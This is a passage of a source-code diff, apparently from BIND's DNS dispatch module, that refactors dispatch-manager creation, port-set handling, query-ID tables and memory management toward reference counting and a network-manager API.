-		isc_mempool_getallocated(mgr->dpool));
-	if (!MGR_IS_SHUTTINGDOWN(mgr)) {
-		return (false);
-	}
-	if (!ISC_LIST_EMPTY(mgr->list)) {
-		return (false);
-	}
-	if (isc_mempool_getallocated(mgr->depool) != 0) {
-		return (false);
-	}
-	if (isc_mempool_getallocated(mgr->rpool) != 0) {
-		return (false);
-	}
-	if (isc_mempool_getallocated(mgr->dpool) != 0) {
-		return (false);
-	}
-
-	return (true);
-}
-
-/*
- * Mgr must be unlocked when calling this function.
- */
-static void
-destroy_mgr(dns_dispatchmgr_t **mgrp) {
-	dns_dispatchmgr_t *mgr;
-
-	mgr = *mgrp;
-	*mgrp = NULL;
-
-	mgr->magic = 0;
-	isc_mutex_destroy(&mgr->lock);
-	mgr->state = 0;
-
-	isc_mempool_destroy(&mgr->depool);
-	isc_mempool_destroy(&mgr->rpool);
-	isc_mempool_destroy(&mgr->dpool);
-	if (mgr->bpool != NULL) {
-		isc_mempool_destroy(&mgr->bpool);
-	}
-	if (mgr->spool != NULL) {
-		isc_mempool_destroy(&mgr->spool);
-	}
-
-	isc_mutex_destroy(&mgr->spool_lock);
-	isc_mutex_destroy(&mgr->bpool_lock);
-	isc_mutex_destroy(&mgr->dpool_lock);
-	isc_mutex_destroy(&mgr->rpool_lock);
-	isc_mutex_destroy(&mgr->depool_lock);
-
-	if (mgr->qid != NULL) {
-		qid_destroy(mgr->mctx, &mgr->qid);
-	}
-
-	isc_mutex_destroy(&mgr->buffer_lock);
-
-	if (mgr->blackhole != NULL) {
-		dns_acl_detach(&mgr->blackhole);
-	}
-
-	if (mgr->stats != NULL) {
-		isc_stats_detach(&mgr->stats);
-	}
-
-	if (mgr->v4ports != NULL) {
-		isc_mem_put(mgr->mctx, mgr->v4ports,
-			    mgr->nv4ports * sizeof(in_port_t));
-	}
-	if (mgr->v6ports != NULL) {
-		isc_mem_put(mgr->mctx, mgr->v6ports,
-			    mgr->nv6ports * sizeof(in_port_t));
+		isc_sockaddr_format(&peer, buf, sizeof(buf));
+		dispatch_log(disp, ISC_LOG_ERROR,
+			     "shutting down due to TCP "
+			     "receive error: %s: %s",
+			     buf, isc_result_totext(result));
+		tcp_recv_shutdown(disp, &resps, result);
+		break;
 	}
-	isc_mem_putanddetach(&mgr->mctx, mgr, sizeof(dns_dispatchmgr_t));
-}
-
-static isc_result_t
-open_socket(isc_socketmgr_t *mgr, const isc_sockaddr_t *local,
-	    unsigned int options, isc_socket_t **sockp,
-	    isc_socket_t *dup_socket, bool duponly) {
-	isc_socket_t *sock;
-	isc_result_t result;
 
-	sock = *sockp;
-	if (sock != NULL) {
-		result = isc_socket_open(sock);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-	} else if (dup_socket != NULL &&
-		   (!isc_socket_hasreuseport() || duponly)) {
-		result = isc_socket_dup(dup_socket, &sock);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
-
-		isc_socket_setname(sock, "dispatcher", NULL);
-		*sockp = sock;
-		return (ISC_R_SUCCESS);
-	} else {
-		result = isc_socket_create(mgr, isc_sockaddr_pf(local),
-					   isc_sockettype_udp, &sock);
-		if (result != ISC_R_SUCCESS) {
-			return (result);
-		}
+	/*
+	 * Phase 5: Resume reading if there are still active responses
+	 */
+	resp = ISC_LIST_HEAD(disp->active);
+	if (resp != NULL) {
+		timeout = resp->timeout - dispentry_runtime(resp, &now);
+		INSIST(timeout > 0);
+		tcp_startrecv(disp, resp);
+		isc_nmhandle_settimeout(handle, timeout);
 	}
 
-	isc_socket_setname(sock, "dispatcher", NULL);
+	UNLOCK(&disp->lock);
 
-#ifndef ISC_ALLOW_MAPPED
-	isc_socket_ipv6only(sock, true);
-#endif /* ifndef ISC_ALLOW_MAPPED */
-	result = isc_socket_bind(sock, local, options);
-	if (result != ISC_R_SUCCESS) {
-		if (*sockp == NULL) {
-			isc_socket_detach(&sock);
-		} else {
-			isc_socket_close(sock);
-		}
-		return (result);
-	}
+	/*
+	 * Phase 6: Process all scheduled callbacks.
+	 */
+	tcp_recv_processall(&resps, region);
 
-	*sockp = sock;
-	return (ISC_R_SUCCESS);
+	dns_dispatch_detach(&disp); /* DISPATCH002 */
 }
 
 /*%
  * Create a temporary port list to set the initial default set of dispatch
- * ports: [1024, 65535].  This is almost meaningless as the application will
+ * ephemeral ports.  This is almost meaningless as the application will
  * normally set the ports explicitly, but is provided to fill some minor corner
  * cases.
  */
-static isc_result_t
-create_default_portset(isc_mem_t *mctx, isc_portset_t **portsetp) {
-	isc_result_t result;
-
-	result = isc_portset_create(mctx, portsetp);
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	}
-	isc_portset_addrange(*portsetp, 1024, 65535);
-
-	return (ISC_R_SUCCESS);
-}
-
-/*
- * Publics.
- */
-
-isc_result_t
-dns_dispatchmgr_create(isc_mem_t *mctx, dns_dispatchmgr_t **mgrp) {
-	dns_dispatchmgr_t *mgr;
-	isc_result_t result;
-	isc_portset_t *v4portset = NULL;
-	isc_portset_t *v6portset = NULL;
-
-	REQUIRE(mctx != NULL);
-	REQUIRE(mgrp != NULL && *mgrp == NULL);
-
-	mgr = isc_mem_get(mctx, sizeof(dns_dispatchmgr_t));
-
-	mgr->mctx = NULL;
-	isc_mem_attach(mctx, &mgr->mctx);
-
-	mgr->blackhole = NULL;
-	mgr->stats = NULL;
-
-	isc_mutex_init(&mgr->lock);
-	isc_mutex_init(&mgr->buffer_lock);
-	isc_mutex_init(&mgr->depool_lock);
-	isc_mutex_init(&mgr->rpool_lock);
-	isc_mutex_init(&mgr->dpool_lock);
-	isc_mutex_init(&mgr->bpool_lock);
-	isc_mutex_init(&mgr->spool_lock);
-
-	mgr->depool = NULL;
-	isc_mempool_create(mgr->mctx, sizeof(dns_dispatchevent_t),
-			   &mgr->depool);
-
-	mgr->rpool = NULL;
-	isc_mempool_create(mgr->mctx, sizeof(dns_dispentry_t), &mgr->rpool);
-
-	mgr->dpool = NULL;
-	isc_mempool_create(mgr->mctx, sizeof(dns_dispatch_t), &mgr->dpool);
-
-	isc_mempool_setname(mgr->depool, "dispmgr_depool");
-	isc_mempool_setmaxalloc(mgr->depool, 32768);
-	isc_mempool_setfreemax(mgr->depool, 32768);
-	isc_mempool_associatelock(mgr->depool, &mgr->depool_lock);
-	isc_mempool_setfillcount(mgr->depool, 32);
-
-	isc_mempool_setname(mgr->rpool, "dispmgr_rpool");
-	isc_mempool_setmaxalloc(mgr->rpool, 32768);
-	isc_mempool_setfreemax(mgr->rpool, 32768);
-	isc_mempool_associatelock(mgr->rpool, &mgr->rpool_lock);
-	isc_mempool_setfillcount(mgr->rpool, 32);
-
-	isc_mempool_setname(mgr->dpool, "dispmgr_dpool");
-	isc_mempool_setmaxalloc(mgr->dpool, 32768);
-	isc_mempool_setfreemax(mgr->dpool, 32768);
-	isc_mempool_associatelock(mgr->dpool, &mgr->dpool_lock);
-	isc_mempool_setfillcount(mgr->dpool, 32);
-
-	mgr->buffers = 0;
-	mgr->buffersize = 0;
-	mgr->maxbuffers = 0;
-	mgr->bpool = NULL;
-	mgr->spool = NULL;
-	mgr->qid = NULL;
-	mgr->state = 0;
-	ISC_LIST_INIT(mgr->list);
-	mgr->v4ports = NULL;
-	mgr->v6ports = NULL;
-	mgr->nv4ports = 0;
-	mgr->nv6ports = 0;
-	mgr->magic = DNS_DISPATCHMGR_MAGIC;
-
-	result = create_default_portset(mctx, &v4portset);
-	if (result == ISC_R_SUCCESS) {
-		result = create_default_portset(mctx, &v6portset);
-		if (result == ISC_R_SUCCESS) {
-			result = dns_dispatchmgr_setavailports(mgr, v4portset,
-							       v6portset);
-		}
-	}
-	if (v4portset != NULL) {
-		isc_portset_destroy(mctx, &v4portset);
-	}
-	if (v6portset != NULL) {
-		isc_portset_destroy(mctx, &v6portset);
-	}
-	if (result != ISC_R_SUCCESS) {
-		goto kill_dpool;
-	}
-
-	*mgrp = mgr;
-	return (ISC_R_SUCCESS);
-
-kill_dpool:
-	isc_mempool_destroy(&mgr->dpool);
-	isc_mempool_destroy(&mgr->rpool);
-	isc_mempool_destroy(&mgr->depool);
-	isc_mutex_destroy(&mgr->spool_lock);
-	isc_mutex_destroy(&mgr->bpool_lock);
-	isc_mutex_destroy(&mgr->dpool_lock);
-	isc_mutex_destroy(&mgr->rpool_lock);
-	isc_mutex_destroy(&mgr->depool_lock);
-	isc_mutex_destroy(&mgr->buffer_lock);
-	isc_mutex_destroy(&mgr->lock);
-	isc_mem_putanddetach(&mctx, mgr, sizeof(dns_dispatchmgr_t));
+static void
+create_default_portset(isc_mem_t *mctx, int family, isc_portset_t **portsetp) {
+	in_port_t low, high;
 
-	return (result);
-}
+	isc_net_getudpportrange(family, &low, &high);
 
-void
-dns_dispatchmgr_setblackhole(dns_dispatchmgr_t *mgr, dns_acl_t *blackhole) {
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-	if (mgr->blackhole != NULL) {
-		dns_acl_detach(&mgr->blackhole);
-	}
-	dns_acl_attach(blackhole, &mgr->blackhole);
-}
-
-dns_acl_t *
-dns_dispatchmgr_getblackhole(dns_dispatchmgr_t *mgr) {
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-	return (mgr->blackhole);
+	isc_portset_create(mctx, portsetp);
+	isc_portset_addrange(*portsetp, low, high);
 }
 
-isc_result_t
-dns_dispatchmgr_setavailports(dns_dispatchmgr_t *mgr, isc_portset_t *v4portset,
-			      isc_portset_t *v6portset) {
-	in_port_t *v4ports, *v6ports, p;
-	unsigned int nv4ports, nv6ports, i4, i6;
-
-	REQUIRE(VALID_DISPATCHMGR(mgr));
+static isc_result_t
+setavailports(dns_dispatchmgr_t *mgr, isc_portset_t *v4portset,
+	      isc_portset_t *v6portset) {
+	in_port_t *v4ports, *v6ports, p = 0;
+	unsigned int nv4ports, nv6ports, i4 = 0, i6 = 0;
 
 	nv4ports = isc_portset_nports(v4portset);
 	nv6ports = isc_portset_nports(v6portset);
 
 	v4ports = NULL;
 	if (nv4ports != 0) {
-		v4ports = isc_mem_get(mgr->mctx, sizeof(in_port_t) * nv4ports);
+		v4ports = isc_mem_cget(mgr->mctx, nv4ports, sizeof(in_port_t));
 	}
 	v6ports = NULL;
 	if (nv6ports != 0) {
-		v6ports = isc_mem_get(mgr->mctx, sizeof(in_port_t) * nv6ports);
+		v6ports = isc_mem_cget(mgr->mctx, nv6ports, sizeof(in_port_t));
 	}
 
-	p = 0;
-	i4 = 0;
-	i6 = 0;
 	do {
 		if (isc_portset_isset(v4portset, p)) {
 			INSIST(i4 < nv4ports);
@@ -1935,344 +972,163 @@ dns_dispatchmgr_setavailports(dns_dispatchmgr_t *mgr, isc_portset_t *v4portset,
 	} while (p++ < 65535);
 	INSIST(i4 == nv4ports && i6 == nv6ports);
 
-	PORTBUFLOCK(mgr);
 	if (mgr->v4ports != NULL) {
-		isc_mem_put(mgr->mctx, mgr->v4ports,
-			    mgr->nv4ports * sizeof(in_port_t));
+		isc_mem_cput(mgr->mctx, mgr->v4ports, mgr->nv4ports,
+			     sizeof(in_port_t));
 	}
 	mgr->v4ports = v4ports;
 	mgr->nv4ports = nv4ports;
 
 	if (mgr->v6ports != NULL) {
-		isc_mem_put(mgr->mctx, mgr->v6ports,
-			    mgr->nv6ports * sizeof(in_port_t));
+		isc_mem_cput(mgr->mctx, mgr->v6ports, mgr->nv6ports,
+			     sizeof(in_port_t));
 	}
 	mgr->v6ports = v6ports;
 	mgr->nv6ports = nv6ports;
-	PORTBUFUNLOCK(mgr);
 
 	return (ISC_R_SUCCESS);
 }
 
-static isc_result_t
-dns_dispatchmgr_setudp(dns_dispatchmgr_t *mgr, unsigned int buffersize,
-		       unsigned int maxbuffers, unsigned int maxrequests,
-		       unsigned int buckets, unsigned int increment) {
-	isc_result_t result;
-
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-	REQUIRE(buffersize >= 512 && buffersize < (64 * 1024));
-	REQUIRE(maxbuffers > 0);
-	REQUIRE(buckets < 2097169); /* next prime > 65536 * 32 */
-	REQUIRE(increment > buckets);
-
-	/*
-	 * Keep some number of items around.  This should be a config
-	 * option.  For now, keep 8, but later keep at least two even
-	 * if the caller wants less.  This allows us to ensure certain
-	 * things, like an event can be "freed" and the next allocation
-	 * will always succeed.
-	 *
-	 * Note that if limits are placed on anything here, we use one
-	 * event internally, so the actual limit should be "wanted + 1."
-	 *
-	 * XXXMLG
-	 */
-
-	if (maxbuffers < 8) {
-		maxbuffers = 8;
-	}
-
-	LOCK(&mgr->buffer_lock);
-
-	/* Create or adjust buffer pool */
-	if (mgr->bpool != NULL) {
-		/*
-		 * We only increase the maxbuffers to avoid accidental buffer
-		 * shortage.  Ideally we'd separate the manager-wide maximum
-		 * from per-dispatch limits and respect the latter within the
-		 * global limit.  But at this moment that's deemed to be
-		 * overkilling and isn't worth additional implementation
-		 * complexity.
-		 */
-		if (maxbuffers > mgr->maxbuffers) {
-			isc_mempool_setmaxalloc(mgr->bpool, maxbuffers);
-			isc_mempool_setfreemax(mgr->bpool, maxbuffers);
-			mgr->maxbuffers = maxbuffers;
-		}
-	} else {
-		isc_mempool_create(mgr->mctx, buffersize, &mgr->bpool);
-		isc_mempool_setname(mgr->bpool, "dispmgr_bpool");
-		isc_mempool_setmaxalloc(mgr->bpool, maxbuffers);
-		isc_mempool_setfreemax(mgr->bpool, maxbuffers);
-		isc_mempool_associatelock(mgr->bpool, &mgr->bpool_lock);
-		isc_mempool_setfillcount(mgr->bpool, 32);
-	}
-
-	/* Create or adjust socket pool */
-	if (mgr->spool != NULL) {
-		if (maxrequests < DNS_DISPATCH_POOLSOCKS * 2) {
-			isc_mempool_setmaxalloc(mgr->spool,
-						DNS_DISPATCH_POOLSOCKS * 2);
-			isc_mempool_setfreemax(mgr->spool,
-					       DNS_DISPATCH_POOLSOCKS * 2);
-		}
-		UNLOCK(&mgr->buffer_lock);
-		return (ISC_R_SUCCESS);
-	}
-	isc_mempool_create(mgr->mctx, sizeof(dispsocket_t), &mgr->spool);
+/*
+ * Publics.
+ */
 
-	isc_mempool_setname(mgr->spool, "dispmgr_spool");
-	isc_mempool_setmaxalloc(mgr->spool, maxrequests);
-	isc_mempool_setfreemax(mgr->spool, maxrequests);
-	isc_mempool_associatelock(mgr->spool, &mgr->spool_lock);
-	isc_mempool_setfillcount(mgr->spool, 32);
+isc_result_t
+dns_dispatchmgr_create(isc_mem_t *mctx, isc_nm_t *nm,
+		       dns_dispatchmgr_t **mgrp) {
+	dns_dispatchmgr_t *mgr = NULL;
+	isc_portset_t *v4portset = NULL;
+	isc_portset_t *v6portset = NULL;
 
-	result = qid_allocate(mgr, buckets, increment, &mgr->qid, true);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup;
-	}
+	REQUIRE(mctx != NULL);
+	REQUIRE(mgrp != NULL && *mgrp == NULL);
 
-	mgr->buffersize = buffersize;
-	mgr->maxbuffers = maxbuffers;
-	UNLOCK(&mgr->buffer_lock);
-	return (ISC_R_SUCCESS);
+	mgr = isc_mem_get(mctx, sizeof(dns_dispatchmgr_t));
+	*mgr = (dns_dispatchmgr_t){ .magic = 0 };
 
-cleanup:
-	isc_mempool_destroy(&mgr->bpool);
-	if (mgr->spool != NULL) {
-		isc_mempool_destroy(&mgr->spool);
-	}
-	UNLOCK(&mgr->buffer_lock);
-	return (result);
-}
+#if DNS_DISPATCH_TRACE
+	fprintf(stderr, "dns_dispatchmgr__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__, mgr);
+#endif
+	isc_refcount_init(&mgr->references, 1);
 
-void
-dns_dispatchmgr_destroy(dns_dispatchmgr_t **mgrp) {
-	dns_dispatchmgr_t *mgr;
-	bool killit;
+	isc_mem_attach(mctx, &mgr->mctx);
+	isc_nm_attach(nm, &mgr->nm);
 
-	REQUIRE(mgrp != NULL);
-	REQUIRE(VALID_DISPATCHMGR(*mgrp));
+	isc_mutex_init(&mgr->lock);
 
-	mgr = *mgrp;
-	*mgrp = NULL;
+	ISC_LIST_INIT(mgr->list);
 
-	LOCK(&mgr->lock);
-	mgr->state |= MGR_SHUTTINGDOWN;
-	killit = destroy_mgr_ok(mgr);
-	UNLOCK(&mgr->lock);
+	create_default_portset(mctx, AF_INET, &v4portset);
+	create_default_portset(mctx, AF_INET6, &v6portset);
 
-	mgr_log(mgr, LVL(90), "destroy: killit=%d", killit);
+	setavailports(mgr, v4portset, v6portset);
 
-	if (killit) {
-		destroy_mgr(&mgr);
-	}
-}
+	isc_portset_destroy(mctx, &v4portset);
+	isc_portset_destroy(mctx, &v6portset);
 
-void
-dns_dispatchmgr_setstats(dns_dispatchmgr_t *mgr, isc_stats_t *stats) {
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-	REQUIRE(ISC_LIST_EMPTY(mgr->list));
-	REQUIRE(mgr->stats == NULL);
+	qid_allocate(mgr, &mgr->qid);
+	mgr->magic = DNS_DISPATCHMGR_MAGIC;
 
-	isc_stats_attach(stats, &mgr->stats);
+	*mgrp = mgr;
+	return (ISC_R_SUCCESS);
 }
 
-static int
-port_cmp(const void *key, const void *ent) {
-	in_port_t p1 = *(const in_port_t *)key;
-	in_port_t p2 = *(const in_port_t *)ent;
+#if DNS_DISPATCH_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_dispatchmgr, dispatchmgr_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_dispatchmgr, dispatchmgr_destroy);
+#endif
 
-	if (p1 < p2) {
-		return (-1);
-	} else if (p1 == p2) {
-		return (0);
-	} else {
-		return (1);
+void
+dns_dispatchmgr_setblackhole(dns_dispatchmgr_t *mgr, dns_acl_t *blackhole) {
+	REQUIRE(VALID_DISPATCHMGR(mgr));
+	if (mgr->blackhole != NULL) {
+		dns_acl_detach(&mgr->blackhole);
 	}
+	dns_acl_attach(blackhole, &mgr->blackhole);
 }
 
-static bool
-portavailable(dns_dispatchmgr_t *mgr, isc_socket_t *sock,
-	      isc_sockaddr_t *sockaddrp) {
-	isc_sockaddr_t sockaddr;
-	isc_result_t result;
-	in_port_t *ports, port;
-	unsigned int nports;
-	bool available = false;
-
-	REQUIRE(sock != NULL || sockaddrp != NULL);
-
-	PORTBUFLOCK(mgr);
-	if (sock != NULL) {
-		sockaddrp = &sockaddr;
-		result = isc_socket_getsockname(sock, sockaddrp);
-		if (result != ISC_R_SUCCESS) {
-			goto unlock;
-		}
-	}
-
-	if (isc_sockaddr_pf(sockaddrp) == AF_INET) {
-		ports = mgr->v4ports;
-		nports = mgr->nv4ports;
-	} else {
-		ports = mgr->v6ports;
-		nports = mgr->nv6ports;
-	}
-	if (ports == NULL) {
-		goto unlock;
-	}
-
-	port = isc_sockaddr_getport(sockaddrp);
-	if (bsearch(&port, ports, nports, sizeof(in_port_t), port_cmp) != NULL)
-	{
-		available = true;
-	}
+dns_acl_t *
+dns_dispatchmgr_getblackhole(dns_dispatchmgr_t *mgr) {
+	REQUIRE(VALID_DISPATCHMGR(mgr));
+	return (mgr->blackhole);
+}
 
-unlock:
-	PORTBUFUNLOCK(mgr);
-	return (available);
+isc_result_t
+dns_dispatchmgr_setavailports(dns_dispatchmgr_t *mgr, isc_portset_t *v4portset,
+			      isc_portset_t *v6portset) {
+	REQUIRE(VALID_DISPATCHMGR(mgr));
+	return (setavailports(mgr, v4portset, v6portset));
 }
 
-#define ATTRMATCH(_a1, _a2, _mask) (((_a1) & (_mask)) == ((_a2) & (_mask)))
+static void
+dispatchmgr_destroy(dns_dispatchmgr_t *mgr) {
+	REQUIRE(VALID_DISPATCHMGR(mgr));
 
-static bool
-local_addr_match(dns_dispatch_t *disp, const isc_sockaddr_t *addr) {
-	isc_sockaddr_t sockaddr;
-	isc_result_t result;
+	isc_refcount_destroy(&mgr->references);
 
-	REQUIRE(disp->socket != NULL);
+	mgr->magic = 0;
+	isc_mutex_destroy(&mgr->lock);
 
-	if (addr == NULL) {
-		return (true);
-	}
+	qid_destroy(mgr->mctx, &mgr->qid);
 
-	/*
-	 * Don't match wildcard ports unless the port is available in the
-	 * current configuration.
-	 */
-	if (isc_sockaddr_getport(addr) == 0 &&
-	    isc_sockaddr_getport(&disp->local) == 0 &&
-	    !portavailable(disp->mgr, disp->socket, NULL))
-	{
-		return (false);
+	if (mgr->blackhole != NULL) {
+		dns_acl_detach(&mgr->blackhole);
 	}
 
-	/*
-	 * Check if we match the binding <address,port>.
-	 * Wildcard ports match/fail here.
-	 */
-	if (isc_sockaddr_equal(&disp->local, addr)) {
-		return (true);
-	}
-	if (isc_sockaddr_getport(addr) == 0) {
-		return (false);
+	if (mgr->stats != NULL) {
+		isc_stats_detach(&mgr->stats);
 	}
 
-	/*
-	 * Check if we match a bound wildcard port <address,port>.
-	 */
-	if (!isc_sockaddr_eqaddr(&disp->local, addr)) {
-		return (false);
+	if (mgr->v4ports != NULL) {
+		isc_mem_cput(mgr->mctx, mgr->v4ports, mgr->nv4ports,
+			     sizeof(in_port_t));
 	}
-	result = isc_socket_getsockname(disp->socket, &sockaddr);
-	if (result != ISC_R_SUCCESS) {
-		return (false);
+	if (mgr->v6ports != NULL) {
+		isc_mem_cput(mgr->mctx, mgr->v6ports, mgr->nv6ports,
+			     sizeof(in_port_t));
 	}
 
-	return (isc_sockaddr_equal(&sockaddr, addr));
-}
-
-/*
- * Requires mgr be locked.
- *
- * No dispatcher can be locked by this thread when calling this function.
- *
- *
- * NOTE:
- *	If a matching dispatcher is found, it is locked after this function
- *	returns, and must be unlocked by the caller.
- */
-static isc_result_t
-dispatch_find(dns_dispatchmgr_t *mgr, const isc_sockaddr_t *local,
-	      unsigned int attributes, unsigned int mask,
-	      dns_dispatch_t **dispp) {
-	dns_dispatch_t *disp;
-	isc_result_t result;
-
-	/*
-	 * Make certain that we will not match a private or exclusive dispatch.
-	 */
-	attributes &= ~(DNS_DISPATCHATTR_PRIVATE | DNS_DISPATCHATTR_EXCLUSIVE);
-	mask |= (DNS_DISPATCHATTR_PRIVATE | DNS_DISPATCHATTR_EXCLUSIVE);
-
-	disp = ISC_LIST_HEAD(mgr->list);
-	while (disp != NULL) {
-		LOCK(&disp->lock);
-		if ((disp->shutting_down == 0) &&
-		    ATTRMATCH(disp->attributes, attributes, mask) &&
-		    local_addr_match(disp, local))
-		{
-			break;
-		}
-		UNLOCK(&disp->lock);
-		disp = ISC_LIST_NEXT(disp, link);
-	}
+	isc_nm_detach(&mgr->nm);
 
-	if (disp == NULL) {
-		result = ISC_R_NOTFOUND;
-		goto out;
-	}
+	isc_mem_putanddetach(&mgr->mctx, mgr, sizeof(dns_dispatchmgr_t));
+}
 
-	*dispp = disp;
-	result = ISC_R_SUCCESS;
-out:
+void
+dns_dispatchmgr_setstats(dns_dispatchmgr_t *mgr, isc_stats_t *stats) {
+	REQUIRE(VALID_DISPATCHMGR(mgr));
+	REQUIRE(ISC_LIST_EMPTY(mgr->list));
+	REQUIRE(mgr->stats == NULL);
 
-	return (result);
+	isc_stats_attach(stats, &mgr->stats);
 }
 
-static isc_result_t
-qid_allocate(dns_dispatchmgr_t *mgr, unsigned int buckets,
-	     unsigned int increment, dns_qid_t **qidp, bool needsocktable) {
-	dns_qid_t *qid;
+static void
+qid_allocate(dns_dispatchmgr_t *mgr, dns_qid_t **qidp) {
+	dns_qid_t *qid = NULL;
 	unsigned int i;
 
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-	REQUIRE(buckets < 2097169); /* next prime > 65536 * 32 */
-	REQUIRE(increment > buckets);
 	REQUIRE(qidp != NULL && *qidp == NULL);
 
 	qid = isc_mem_get(mgr->mctx, sizeof(*qid));
+	*qid = (dns_qid_t){ .qid_nbuckets = DNS_QID_BUCKETS,
+			    .qid_increment = DNS_QID_INCREMENT };
 
-	qid->qid_table = isc_mem_get(mgr->mctx,
-				     buckets * sizeof(dns_displist_t));
-
-	qid->sock_table = NULL;
-	if (needsocktable) {
-		qid->sock_table = isc_mem_get(
-			mgr->mctx, buckets * sizeof(dispsocketlist_t));
-	}
-
-	isc_mutex_init(&qid->lock);
-
-	for (i = 0; i < buckets; i++) {
+	qid->qid_table = isc_mem_cget(mgr->mctx, DNS_QID_BUCKETS,
+				      sizeof(dns_displist_t));
+	for (i = 0; i < qid->qid_nbuckets; i++) {
 		ISC_LIST_INIT(qid->qid_table[i]);
-		if (qid->sock_table != NULL) {
-			ISC_LIST_INIT(qid->sock_table[i]);
-		}
 	}
 
-	qid->qid_nbuckets = buckets;
-	qid->qid_increment = increment;
+	isc_mutex_init(&qid->lock);
 	qid->magic = QID_MAGIC;
 	*qidp = qid;
-	return (ISC_R_SUCCESS);
 }
 
 static void
 qid_destroy(isc_mem_t *mctx, dns_qid_t **qidp) {
-	dns_qid_t *qid;
+	dns_qid_t *qid = NULL;
 
 	REQUIRE(qidp != NULL);
 	qid = *qidp;
@@ -2281,12 +1137,8 @@ qid_destroy(isc_mem_t *mctx, dns_qid_t **qidp) {
 	REQUIRE(VALID_QID(qid));
 
 	qid->magic = 0;
-	isc_mem_put(mctx, qid->qid_table,
-		    qid->qid_nbuckets * sizeof(dns_displist_t));
-	if (qid->sock_table != NULL) {
-		isc_mem_put(mctx, qid->sock_table,
-			    qid->qid_nbuckets * sizeof(dispsocketlist_t));
-	}
+	isc_mem_cput(mctx, qid->qid_table, qid->qid_nbuckets,
+		     sizeof(dns_displist_t));
 	isc_mutex_destroy(&qid->lock);
 	isc_mem_put(mctx, qid, sizeof(*qid));
 }
@@ -2294,11 +1146,10 @@ qid_destroy(isc_mem_t *mctx, dns_qid_t **qidp) {
 /*
  * Allocate and set important limits.
  */
-static isc_result_t
-dispatch_allocate(dns_dispatchmgr_t *mgr, unsigned int maxrequests,
+static void
+dispatch_allocate(dns_dispatchmgr_t *mgr, isc_socktype_t type,
 		  dns_dispatch_t **dispp) {
-	dns_dispatch_t *disp;
-	isc_result_t result;
+	dns_dispatch_t *disp = NULL;
 
 	REQUIRE(VALID_DISPATCHMGR(mgr));
 	REQUIRE(dispp != NULL && *dispp == NULL);
@@ -2308,1295 +1159,1101 @@ dispatch_allocate(dns_dispatchmgr_t *mgr, unsigned int maxrequests,
 	 * the options that are controlled by tcp vs. udp, etc.
 	 */
 
-	disp = isc_mempool_get(mgr->dpool);
-	if (disp == NULL) {
-		return (ISC_R_NOMEMORY);
-	}
-
-	disp->magic = 0;
-	disp->mgr = mgr;
-	disp->maxrequests = maxrequests;
-	disp->attributes = 0;
-	ISC_LINK_INIT(disp, link);
-	disp->refcount = 1;
-	disp->recv_pending = 0;
-	memset(&disp->local, 0, sizeof(disp->local));
-	memset(&disp->peer, 0, sizeof(disp->peer));
-	disp->localport = 0;
-	disp->shutting_down = 0;
-	disp->shutdown_out = 0;
-	disp->connected = 0;
-	disp->tcpmsg_valid = 0;
-	disp->shutdown_why = ISC_R_UNEXPECTED;
-	disp->requests = 0;
-	disp->tcpbuffers = 0;
-	disp->qid = NULL;
-	ISC_LIST_INIT(disp->activesockets);
-	ISC_LIST_INIT(disp->inactivesockets);
-	disp->nsockets = 0;
-	disp->port_table = NULL;
-	disp->portpool = NULL;
-	disp->dscp = -1;
-
+	disp = isc_mem_get(mgr->mctx, sizeof(*disp));
+	*disp = (dns_dispatch_t){
+		.socktype = type,
+		.link = ISC_LINK_INITIALIZER,
+		.active = ISC_LIST_INITIALIZER,
+		.pending = ISC_LIST_INITIALIZER,
+		.tid = isc_tid(),
+		.magic = DISPATCH_MAGIC,
+	};
+
+	dns_dispatchmgr_attach(mgr, &disp->mgr);
+#if DNS_DISPATCH_TRACE
+	fprintf(stderr, "dns_dispatch__init:%s:%s:%d:%p->references = 1\n",
+		__func__, __FILE__, __LINE__, disp);
+#endif
+	isc_refcount_init(&disp->references, 1); /* DISPATCH000 */
 	isc_mutex_init(&disp->lock);
 
-	disp->failsafe_ev = allocate_devent(disp);
-	if (disp->failsafe_ev == NULL) {
-		result = ISC_R_NOMEMORY;
-		goto kill_lock;
-	}
-
-	disp->magic = DISPATCH_MAGIC;
-
 	*dispp = disp;
-	return (ISC_R_SUCCESS);
-
-	/*
-	 * error returns
-	 */
-kill_lock:
-	isc_mutex_destroy(&disp->lock);
-	isc_mempool_put(mgr->dpool, disp);
-
-	return (result);
-}
-
-/*
- * MUST be unlocked, and not used by anything.
- */
-static void
-dispatch_free(dns_dispatch_t **dispp) {
-	dns_dispatch_t *disp;
-	dns_dispatchmgr_t *mgr;
-
-	REQUIRE(VALID_DISPATCH(*dispp));
-	disp = *dispp;
-	*dispp = NULL;
-
-	mgr = disp->mgr;
-	REQUIRE(VALID_DISPATCHMGR(mgr));
-
-	if (disp->tcpmsg_valid) {
-		dns_tcpmsg_invalidate(&disp->tcpmsg);
-		disp->tcpmsg_valid = 0;
-	}
-
-	INSIST(disp->tcpbuffers == 0);
-	INSIST(disp->requests == 0);
-	INSIST(disp->recv_pending == 0);
-	INSIST(ISC_LIST_EMPTY(disp->activesockets));
-	INSIST(ISC_LIST_EMPTY(disp->inactivesockets));
-
-	isc_mempool_put(mgr->depool, disp->failsafe_ev);
-	disp->failsafe_ev = NULL;
-
-	if (disp->qid != NULL) {
-		qid_destroy(mgr->mctx, &disp->qid);
-	}
-
-	if (disp->port_table != NULL) {
-		for (int i = 0; i < DNS_DISPATCH_PORTTABLESIZE; i++) {
-			INSIST(ISC_LIST_EMPTY(disp->port_table[i]));
-		}
-		isc_mem_put(mgr->mctx, disp->port_table,
-			    sizeof(disp->port_table[0]) *
-				    DNS_DISPATCH_PORTTABLESIZE);
-	}
-
-	if (disp->portpool != NULL) {
-		isc_mempool_destroy(&disp->portpool);
-	}
-
-	disp->mgr = NULL;
-	isc_mutex_destroy(&disp->lock);
-	disp->magic = 0;
-	isc_mempool_put(mgr->dpool, disp);
 }
